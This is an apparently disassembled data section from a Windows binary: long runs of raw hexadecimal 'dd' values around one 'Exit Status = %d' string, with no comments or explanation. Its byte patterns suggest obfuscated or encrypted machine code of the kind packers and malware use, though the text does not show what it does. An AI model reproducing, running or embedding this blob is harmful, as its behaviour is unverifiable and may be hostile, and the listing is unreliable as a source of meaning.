		dd 5F8C9F95h, 0E96A7A5Dh, 5D3FC763h, 0B0A56E7Ah, 85B6DE14h
		dd 17DD9C98h, 0D816FFD1h, 88D69FAEh, 1A8B8D84h,	8A053152h
		dd 4935CD13h, 0E2A96F67h, 83B4DE14h, 17DD9F97h,	0C509FFCBh
		dd 96D680B4h, 0D909398h, 0E96E3F46h, 4D228127h,	0B0E47E67h
		dd 83A19015h, 0EDD8983h, 0C508B0CDh, 0D880BAh, 61h dup(0)
		dd 84B60000h, 0CCBDDC08h, 0C8F9495h, 0D21BAFCAh, 0DBD8CCBFh
		dd 0C9696A9h, 0E87D6F1Fh, 4531D324h, 0B1E46234h, 89BDD241h
		dd 1F90DB98h, 0C21FB6D1h, 9E828CB7h, 119EDE99h,	0E6623F5Bh
		dd 2235C33Ah, 0E5F16319h, 82B19012h, 0A9E9E90h,	0D54FBBDAh
		dd 0DB97CDA2h, 0A8D97ABh, 0F5603F4Ch, 4922C263h, 0A6E06177h
		dd 848C904Fh, 18DD889Fh, 970AB3D6h, 0DC9882ACh,	1088DE89h
		dd 0E62F744Dh, 473DD82Dh, 0AB6F66h, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2C0BE900h, 0DF8B0000h, 0E6EA81FCh, 8B364DF8h, 0E59D29C0h
		dd 8306141Fh, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
		dd 8B535013h, 1B8C0h, 9D8D0000h, 616B5DCh, 585BD3FFh, 1AE1BD83h
		dd 74000614h, 0B8535011h, 1, 0B48D9D8Dh, 0D3FF0616h, 41BB585Bh
		dd 8B145DEDh, 1403559Dh, 1C08B06h, 1423ED95h, 0EABB6606h
		dd 5BD8344h, 6140Bh, 16C840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 834505C3h
		dd 140441BDh, 840F0006h, 142h, 262D952Bh, 6A600614h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3CE3C352h, 0CDF19EE4h, 0D38166B8h, 858B9C9Dh, 6140441h
		dd 5DAB70Fh, 3E8h, 6519D8Bh, 0E9500614h, 14h, 0ABC17978h
		dd 299CD1CBh, 0C3CA593Eh, 0B6EED83h, 0F47F6B9Ch, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 2568C356h, 1D9C0588h, 654AA9B1h, 73E541BBh
		dd 59858D33h, 8B06144Dh, 0CB8166D1h, 60500488h,	8B74B866h
		dd 0F28B5250h, 8E9310Fh, 52000000h, 0D81CABB4h,	5AFC8E73h
		dd 4896158h, 6C88BA24h,	0DF8054D3h, 37858DA8h, 8B06144Dh
		dd 66B790DAh, 90F88A50h, 95FF07B3h, 6141509h, 25C59D8Bh
		dd 0C4830614h, 0A99D890Ch, 8D061408h, 144D3785h, 3D9D8906h
		dd 8B061422h, 140D3595h, 4895006h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0DE13DB93h
		dd 0FDCDC9Dh, 0AABAD6BFh, 6A68EEBCh, 69B58902h,	89061415h
		dd 140595BDh, 1495FF06h, 66006AEDh, 610965BBh, 31B19503h
		dd 85C70614h, 6144D6Ah,	1, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 3BC35040h, 0C15ACAE6h, 0BE85006h, 0D0000000h
		dd 0F5FC7D8h, 0C5ACAF15h, 52500382h, 800Fh, 310F0000h
		dd 310F5250h, 585A585Ah, 2434895Ah, 1FD9BD89h, 0B5890614h
		dd 6144D1Bh, 0ECC38166h, 0CDBD8373h, 1061412h, 39850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 73B59DC3h, 5F883D5h, 11850Fh, 9D8B0000h
		dd 6142661h, 0B8h, 91858900h, 83061411h, 140051BDh, 840F0006h
		dd 40h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
		dd 0D3C35040h, 8B602247h, 1425CD95h, 5195FF06h,	0E9061400h
		dd 0Bh,	4C45E053h, 32C067Ch, 61918177h,	0FC27CA80h, 1A99BD83h
		dd 0F000614h, 3184h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0BFA89A13h, 0AE99D8Bh
		dd 0B80614h, 8B000000h,	0C38166DFh, 0F60CCA9h, 1689h, 0AE800h
		dd 9BEA0000h, 3F6AA680h, 5A241A04h, 8E0Fh, 8B5B0000h, 142D0185h
		dd 6EEB8106h, 836E2CEDh, 0DF8B02C0h, 4D138589h,	81660614h
		dd 0C64362EAh, 9EB3FF00h, 1A5985C6h, 8B530614h,	14263D95h
		dd 4E806h, 48D80000h, 800FFCB1h, 12h, 0DE9h, 23C7EC00h
		dd 65C78E2Ch, 0C42E6456h, 8A50B92Ch, 24448BDDh,	8BD68B04h
		dd 89DF8B00h, 53042444h, 5BD88B66h, 3880F58h, 80000000h
		dd 49B7D7EBh, 1AD1B5FFh, 89600614h, 1419E9BDh, 36DB8006h
		dd 0DB858D61h, 89061780h, 141FD985h, 0A0F2BA06h, 0D0FF6046h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0EEC35545h
		dd 516FD868h, 0BB66528Eh, 8589EF79h, 6141169h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h, 0BA91361Ch
		dd 0FD4A826h, 1D51BD83h, 0F010614h, 0FF85h, 11958B00h
		dd 61061414h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	8AC35646h, 1A5985C6h, 89450614h, 1431218Dh, 2E536806h
		dd 5250D90Bh, 9E8h, 72197100h, 15695D55h, 0DE81E19h, 94000000h
		dd 96231185h, 86F476A1h, 8707AD9Ah, 310F5A5Ah, 0FEE0BB66h
		dd 481585Ah, 550A6F24h,	69958901h, 0FF06140Ah, 141AD1B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 33791A93h, 0B89965E0h, 80DB858Dh, 0CE90617h
		dd 0D5000000h, 9C092921h, 6AF1E5E1h, 0FFA806C0h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BF0FFF34h, 6A006ADAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0BCFBC355h,	0A1DB589h
		dd 0D0FF0614h, 8D315BB7h, 614321Dh, 829BD83h, 0F010614h
		dd 0C585h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1704h, 0C3514100h, 333E4396h, 25CD9D89h, 8B660614h
		dd 1858BD8h, 0E806142Dh, 5, 8BBDC007h, 2195338Ah, 5B06142Eh
		dd 2DE9h, 9F38100h, 502A3E56h, 64BE6660h, 4896179h, 0FBBB6624h
		dd 8B146A6Fh, 6995FFDEh, 89061411h, 14207185h, 0CB816606h
		dd 6658FF6Ch, 3880D68Bh, 0D0850F00h, 6AFFFFFFh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 826DC352h, 100C61Bh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0F3C35242h, 85DCF414h, 7CB3FFE9h, 2EC19D8Bh
		dd 0E9610614h, 5, 0AE37696Fh, 65BD8364h, 6141Dh, 78840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 9BC6CFC3h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0F6DE0AC3h, 38F3F449h
		dd 9D8B59D2h, 61431E1h,	116995FFh, 0D68B0614h, 0FFFFC7E9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0EB81661Bh, 85C7C505h, 6141D65h,	1, 0FF34C281h
		dd 85893631h, 6144D1Fh,	0B359D8Bh, 0B3500614h, 240489DEh
		dd 8E0F60F9h, 6, 8A0Fh,	56A0000h, 0BD9958Bh, 0BB660614h
		dd 858D1C3Ch, 6144D37h,	50D88B66h, 8B665250h, 57310FD9h
		dd 8CFABB66h, 89585A5Ah, 0BA662404h, 858DC537h,	6144D27h
		dd 330CE281h, 8B900B0Eh, 8E0F50D0h, 0Ah, 0F595160h, 82h
		dd 6A906100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 74ECC352h, 3D3D9C25h, 95FF4154h
		dd 6142F55h, 142D9589h,	8D8D0614h, 61478CEh, 0A40BB66h
		dd 1174C00Bh, 4D37858Dh, 0FF500614h, 558589D1h,	0EB06144Dh
		dd 5585C70Ah, 0FF06144Dh, 6AFFFFFFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D599C357h
		dd 0B3524743h, 0FDBD8924h, 6106140Ah, 0A0D9D8Bh, 85C60614h
		dd 6141A59h, 0E1958B4Dh, 68061409h, 0F4532D51h,	0C830Fh
		dd 8F0F0000h, 6, 310F5250h, 3481585Ah, 665BF924h, 0AD9D8B50h
		dd 0F061420h, 68Ah, 819D8B00h, 0FF06141Dh, 142255B5h, 1D9D8906h
		dd 8D061432h, 1780DB85h, 7E906h, 3A640000h, 8EAD088h, 81D0FFD1h
		dd 496CE3D2h, 0C1858952h, 0C6061402h, 141A5985h, 9D8B4506h
		dd 6140361h, 0D45ACA68h, 81D18BADh, 33A32434h, 0B5FF23A6h
		dd 6141AD1h, 19799D31h,	858D0614h, 61780DBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 68C35343h, 0BE8A03D1h
		dd 57E79D8Bh, 0CE8h, 7A172900h,	0A587DD50h, 6C8F293Fh
		dd 5B5B5742h, 0FD0FF5Ah, 89F5DEB7h, 142EF985h, 5D958B06h
		dd 8B061405h, 25E281D2h, 6654F270h, 0EE8D98Ch, 7E000000h
		dd 0FE3F44B1h, 8D5B445Dh, 9BBDD071h, 0B444BA0Dh, 0F65A564Fh
		dd 840F04C1h, 220h, 1C4D9501h, 11E90614h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0AE70C356h, 17ADEA0Fh, 2421B58Bh, 0BD890614h, 614160Dh
		dd 1180C681h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 28681EC3h, 0FC8BDB6Bh, 3D9BD83h
		dd 0F000614h, 2C85h, 7AE9F800h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A97EC350h
		dd 38D0Fh, 0B70F0000h, 3E83DFh,	4B840Fh, 85890000h, 61419E1h
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 8646E1DFh, 870F146Ah, 6,	19E9950Bh, 95FF0614h
		dd 6141169h, 8061D18Bh,	0B2E9E3D3h, 89FFFFFFh, 140A358Dh
		dd 106C706h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 69B1C353h, 0AA53E051h
		dd 66D08A60h, 61947CBAh, 4D1FBD83h, 0F050614h, 0F785h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 615DDDB6h, 1248C48Ah, 8D319EF3h,	61419C1h
		dd 753830BAh, 0F9B58B7Ch, 8B06142Eh, 14316195h,	8B576006h
		dd 141D4D85h, 89605F06h, 141D5595h, 9E906h, 50630000h
		dd 0FAE62BCCh, 61302468h, 64B961h, 0DF8B0000h, 0FE83E80h
		dd 1084h, 95895200h, 61401CDh, 18E95Ah,	0DE800000h, 57E80A8h
		dd 68840FC2h, 0F000000h, 581h, 49E3BB00h, 6A4670A8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2CDFC350h, 0EAA00A4Ah, 0B36FBB78h, 0F4917C4h, 0FFFFA385h
		dd 2D8D89FFh, 0E9061408h, 2Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 54C35747h, 75CBBF19h, 89464968h
		dd 140571B5h, 0DFB70F06h, 9BD8358h, 6141Ch, 1AD840Fh, 0B5890000h
		dd 614228Dh, 2ED9958Bh,	6A600614h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B880C351h
		dd 8D0FC78Bh, 8, 2830Fh, 5B520000h, 85C6DE8Bh, 6141A59h
		dd 50006A54h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0A502D5FEh, 2EA59D2Bh, 4E80614h,	0F4000000h
		dd 0E9FF4EBEh, 7, 1707BDA4h, 50C88C98h,	6E9h, 0B3D41D00h
		dd 8B38AEA3h, 0B3042444h, 8B008B0Ch, 244489DFh,	0F850F04h
		dd 0E8000000h, 7, 0C11D6C40h, 60D10567h, 6A585A61h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 235EC355h, 29E5735h,	89D78B66h, 1418B9B5h, 0D1B5FF06h
		dd 0E906141Ah, 8, 7C6CB196h, 0AC58F826h, 80DB858Dh, 9D890617h
		dd 6141C01h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 860F0DC3h, 6, 0E15B501h,	6A0614h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 28C35545h
		dd 81931CD4h, 8907E8CAh, 0E810F2Eh, 60000000h, 7E9h, 0C0351200h
		dd 0E672F01Bh, 9B5FF61h, 0BA06141Ch, 4D96CA82h,	6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 721791C3h, 4B45593h,	819326F9h, 4292B1CAh, 0DE86145h
		dd 0F7000000h, 0D876BD4Dh, 0B39153BDh, 718327EEh, 9B99D03h
		dd 0C75A0614h, 1429AD85h, 106h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8160F889h
		dd 0B6DABEE7h, 0F6B70F36h, 0D7B70F61h, 53006A60h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0DEDAA05Ah, 0CCFFDC86h, 15E19533h, 4E80614h,	80000000h
		dd 0BA000000h, 6AFA31C7h, 10E850h, 0C6ED0000h, 7272A449h
		dd 2541AAE0h, 0FEFD82C7h, 0E956D473h, 7, 88101048h, 5AD6A006h
		dd 24448B5Ah, 8E0F6004h, 4, 83C9BB66h, 6E9h, 0C283300h
		dd 61813C2Eh, 0D3BB008Bh, 8913BF9Fh, 56042444h,	0FE9h
		dd 0D614A500h, 6DE194C4h, 814EF783h, 56F6D50Ah,	9D8B585Ah
		dd 614002Dh, 19E1B509h,	0FF6A0614h, 9D19D8Bh, 95FF0614h
		dd 6143525h, 12E9h, 0FA5F8C00h,	550EC887h, 5263DE41h, 28448C54h
		dd 0E9C2A3E7h, 14h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh
		dd 2E18317h, 57006A61h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0F7E3A356h, 3AAEF52Eh, 6820FDAh
		dd 8B000000h, 140C399Dh, 0D18B5006h, 81240489h,	266E87DBh
		dd 41B58952h, 8B06142Ah, 14219185h, 0D38B6606h,	840FC00Bh
		dd 11h,	15559D8Bh, 95FF0614h, 6141BE5h,	70D28166h, 6D85C716h
		dd 106140Dh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0BCE7C353h,	0D788C7FBh
		dd 58D9D89h, 0E3810614h, 6F95F3FAh, 83DF8B66h, 141999BDh
		dd 840F0006h, 14h, 2B45958Bh, 95FF0614h, 6142CADh, 9D8B95B7h
		dd 6143069h, 24F1BD83h,	0F000614h, 1A84h, 0CE900h, 0C5B50000h
		dd 7E21B031h, 6240C8F9h, 95FF753Ch, 6140F7Dh, 83D88B66h
		dd 140905BDh, 840F0006h, 46h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B9C35242h,	8AFCEF96h, 5379FA11h
		dd 0BDBD836Dh, 6142Ch, 14850Fh,	95230000h, 61434FDh, 3079958Bh
		dd 95FF0614h, 6140EFDh,	0BD83D78Ah, 6141D9Dh, 5C840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E1CBC357h, 0F60FA7Ah,	682h, 7D9D8B00h
		dd 8006142Ch, 8161C0F5h, 141A4985h, 400306h, 81D38A00h
		dd 1430C185h, 400306h, 10800F00h, 0E9000000h, 0Bh, 0F92816D6h
		dd 8F4296C2h, 0F83C50Fh, 58D0F31h, 0BB000000h, 44A45547h
		dd 5C788D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0AC51FDC3h, 0FB749A87h, 2950935Fh
		dd 141B7D8Dh, 60018906h, 0ACD28166h, 31B589C6h,	61061420h
		dd 12E9C233h, 26000000h, 28F1F6Fh, 0EEC8E727h, 0B5EC866Eh
		dd 0CF5B1ECCh, 4418927h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 2FC35747h, 46F5B6EBh,	2C1D1952h, 0BE800h
		dd 84C40000h, 6060F13Bh, 1E63CAF9h, 0F19D8B60h,	5B061420h
		dd 6A310Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0C02BA6C3h, 6B6E0D71h, 0E8164671h
		dd 11h,	0D0C6C249h, 0FC2B52F8h,	19F62EA6h, 10D608B9h, 0D7B70F9Eh
		dd 0DD9D295Bh, 8D06140Ah, 145C848Dh, 49BD8906h,	8906141Dh
		dd 3DB58901h, 33061431h, 56006AC2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0BD8B9E9Eh, 7F2113D4h
		dd 23DA8B66h, 1423599Dh, 4418906h, 2820Fh, 1BB30000h, 2F41BD83h
		dd 0F000614h, 3184h, 0F3816600h, 0B52917EAh, 61402DDh
		dd 1FC195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 8DCECAC3h, 0BD832F26h, 6142401h
		dd 2E850F01h, 0FC000000h, 28E9h, 0D98D8900h, 8B06140Fh
		dd 145E29B5h, 6C706h, 8B000000h, 145BA0B5h, 6C706h, 0CF000000h
		dd 0A503E381h, 8B662D03h, 6DBD83D7h, 6140Dh, 18B840Fh
		dd 9D890000h, 61425E1h,	0BD83F88Ah, 6141BBDh, 45850F01h
		dd 9000001h, 141FE1BDh,	138D8B06h, 6A06144Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 3E00C356h, 6978EFD2h, 0D381667Ah, 958B472Bh,	6142F99h
		dd 6A0001C6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 6D86C350h, 735DE762h, 128B25FDh
		dd 0FE960h, 0A70E0000h,	0AABD9910h, 85CFA91Ch, 0BC3D95FAh
		dd 4E869h, 800000h, 52520000h, 5BD08B66h, 0B960505Bh, 13185AEDh
		dd 24448B61h, 800F04h, 8B000000h, 0CE8A6000h, 24448961h
		dd 81BA6604h, 0BD8958F9h, 6143169h, 6AFF6Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0CFCF13C3h
		dd 815765CBh, 32C1CFEBh, 0BBB35B58h, 352595FFh,	6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 81674DC3h, 618DD0E1h, 0F11958Bh, 95FF0614h, 6141669h
		dd 8BD88B66h, 14008195h, 138D8B06h, 6A06144Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 5193C351h, 0DD8AA06Ah, 0FEA572C9h, 0E4E68001h, 203DBD83h
		dd 0F010614h, 2485h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B90FBD7h, 14318595h
		dd 6AC08B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0D63CC357h, 0B1BD83F5h, 61430h
		dd 0BD830975h, 6141AE1h, 501A7400h, 8BC08B53h, 141A4985h
		dd 49858906h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h
		dd 6141Ah, 53501874h, 1A49858Bh, 85890614h, 6141A49h, 0B4299D8Dh
		dd 0D3FF0616h, 0F56585Bh, 58Ch,	7101BA00h, 0E85A2D47h
		dd 0Dh,	0AFA9BCFDh, 9A8F470h, 935B822Dh, 138E0F6Ch, 0E9000000h
		dd 0Eh,	3FFF91Fh, 9F653618h, 0EF9932B2h, 8B5A16B9h, 0DB8166C0h
		dd 0BD831B1Fh, 6140D6Dh, 27850F00h, 8B000000h, 14033D95h
		dd 0E5BD8306h, 61419h, 14840Fh,	0FE90000h, 10000000h, 118BD202h
		dd 98F8E689h, 0C1165147h, 0BD8328AAh, 6140D6Dh,	19840F00h
		dd 89000000h, 1409E985h, 35BD8306h, 61425h, 6840Fh, 95330000h
		dd 6141501h, 0D6DBD83h,	0F000614h, 3384h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 9DF4E3B2h, 35BD83AAh, 61425h, 6840Fh, 85890000h, 6140539h
		dd 0D6DBD83h, 0F000614h, 1584h,	83DA8B00h, 140551BDh, 840F0006h
		dd 6, 2375958Bh, 0BD830614h, 6140D6Dh, 52840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0DDC4C350h, 10E952h, 800D0000h, 0A8A84D18h
		dd 0CF959CFDh, 0BE4F1A31h, 835B5B76h, 1404B9BDh, 840F0006h
		dd 11h,	0DBA6656h, 95FF5AB5h, 61404D5h,	0D88B6660h, 66C08B61h
		dd 8336E4BAh, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
		dd 8B53501Ah, 0C1858BC0h, 89061430h, 1430C185h,	0A19D8D06h
		dd 0FF0616B7h, 83585BD3h, 141AE1BDh, 18740006h,	858B5350h
		dd 61430C1h, 30C18589h,	9D8D0614h, 616B442h, 585BD3FFh
		dd 1C31958Bh, 8B660614h, 31C08BD9h, 1419059Dh, 0ADB58906h
		dd 83061402h, 140D6DBDh, 840F0006h, 497h, 0FA19D8Bh, 0E2810614h
		dd 779FA672h, 1D51BD83h, 0F020614h, 3684h, 0FFBA6600h
		dd 1BD8355h, 1061424h, 25850Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0FB56A2C3h
		dd 687BD5C1h, 60DEEE80h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E8C35646h, 8EEFD8h, 93635580h, 6D9D01D4h
		dd 0BB06142Fh, 580F49A3h, 4D138D8Bh, 0B5890614h, 6142C35h
		dd 950101FEh, 6141475h,	4E8h, 8000h, 11E85300h,	4A000000h
		dd 96643E3Ah, 422482ACh, 33FFF85h, 393D80D8h, 5E8h, 0F687D800h
		dd 5A5A7E10h, 12E9505Ah, 53000000h, 0B4753F21h,	0B32C96E4h
		dd 0BAD2EB9Bh, 5FF4B5A4h, 24448B92h, 9E904h, 342F0000h
		dd 785ED287h, 8BE1286Eh, 0BA665700h, 895BF24Ah,	0E8042444h
		dd 5, 0C517AAA6h, 0D78B665Bh, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5ECA82C3h
		dd 0D1D1E6E0h, 0AEE28166h, 89FF6AA6h, 14261585h, 2595FF06h
		dd 6A061435h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0E56BC353h, 0C46238A3h, 0CB8166E0h
		dd 296140EBh, 142F299Dh, 0F5BD8D06h, 6A061412h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0A186C353h, 0E8604646h, 12h,	71567876h, 0A1E7864Bh
		dd 681C5BD5h, 0DFB1FB66h, 8B66D787h, 8D315ED0h,	6140D01h
		dd 1C4F8B61h, 74EB8166h, 60016A6Dh, 3850Fh, 0B70F0000h
		dd 0DE9DBh, 90B50000h, 7463E8D6h, 0FCE283C2h, 61E3680Fh
		dd 0A0BA6691h, 8B665008h, 6A91D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 490E74C3h, 1B306D7Ch
		dd 8DD18B00h, 173E0685h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0E6D8B949h, 9D0BBB99h
		dd 61400B5h, 2CD99D8Bh,	0D0FF0614h, 6659509h, 4F8B0614h
		dd 69958920h, 6A06142Eh, 0E5958B03h, 50061402h,	89D38B66h
		dd 6A240Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD0902C3h, 614102Dh, 13AD9D8Bh, 0B70F0614h
		dd 6858DDAh, 8B06173Eh,	1423299Dh, 89D0FF06h, 1421658Dh
		dd 8DF38A06h, 1412F5BDh, 0DBB70F06h, 0F1C4F8Bh,	685h, 0B1BD8900h
		dd 6A061429h, 50D38B01h, 89D08B66h, 66FC240Ch, 858DD08Bh
		dd 6173E06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0CAC35040h, 0F78A6C7Eh,	8BE1BA66h, 13E8D0FFh, 0EB000000h
		dd 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh, 0F780755Fh
		dd 4F8B5AD4h, 919D8920h, 6A061411h, 57006A03h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 58EFB22Ah
		dd 0BE81Dh, 82260000h, 0D008E3E6h, 954A396Ah
		dd 0C19D898Dh, 5A061405h, 10E95091h, 48000000h,	11377253h
		dd 0FF4659Dh, 1147D850h, 91DFBF8Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 4FC35040h, 8F0FE734h, 0Dh
		dd 0F1816660h, 0B5233724h, 614030Dh, 6858D61h, 6A06173Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 399BC355h, 0DCFD68B9h, 1B7C2F3Ch,	46D9D03h
		dd 0D0FF0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0F5C35646h, 8BDA8B66h, 144D138Dh, 916DBB06h, 1FE3306h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F6C35040h
		dd 0CCDD5F65h, 0EC2B2286h, 31958B56h, 5B06142Ah, 4D13858Bh
		dd 0FE0614h, 5B98589h, 16A0614h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 16h, 8DC35343h, 8D297168h, 6140D69h
		dd 360E7668h, 0D78B66EDh, 89243481h, 6A12C991h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4D64C355h, 238199BCh, 0D9838F86h, 1BFD9509h,	858D0614h
		dd 6173E10h, 83F5D0FFh,	1419E5BDh, 840F0006h, 106h, 159D8Bh
		dd 0BD830614h, 61412CDh, 0F3850F01h, 0E8000000h, 14h, 0EE8650BDh
		dd 0D66547DCh, 0F65D102Bh, 25D1524Eh, 70779CD7h, 5CF575BBh
		dd 8D8D5B22h, 6173E1Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 8BC35646h, 94FD70AEh,	0DCC686F8h, 60036A3Fh
		dd 0BF0F65B2h, 16A61D7h, 2EF1952Bh, 0D1FF0614h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8C35040h, 0B0387165h
		dd 9D8B182Eh, 614223Dh,	8EF5B860h, 800F695Bh, 6, 2C299D8Bh
		dd 6A610614h, 8E85301h,	0ED000000h, 0F05AF32Eh,	0BB579D3Bh
		dd 4958D0B4h, 16A5B5Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 73C35747h, 6850F60h, 89000000h, 140AFDB5h
		dd 858D8B06h, 61061430h, 9DBBD1FFh, 0E862DBB9h,	0FA476EB5h
		dd 0D899D8Bh, 206A0614h, 25398D31h, 0FF6A0614h,	8BEB8166h
		dd 94CA81FFh, 0FF5EA20Ah, 14352595h, 0B806h, 0BD890000h
		dd 61430ADh, 840FC00Bh,	2Ah, 0F659D8Bh,	0BD830614h, 6141A71h
		dd 17840F00h, 0FF000000h, 141DA995h, 0B880F06h,	0E9000000h
		dd 6, 0A21E157Ch, 858BFEA2h, 6142D01h, 6860Fh, 85890000h
		dd 61421A9h, 6A0000C6h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E84EC352h,	0Dh, 16BEEFh
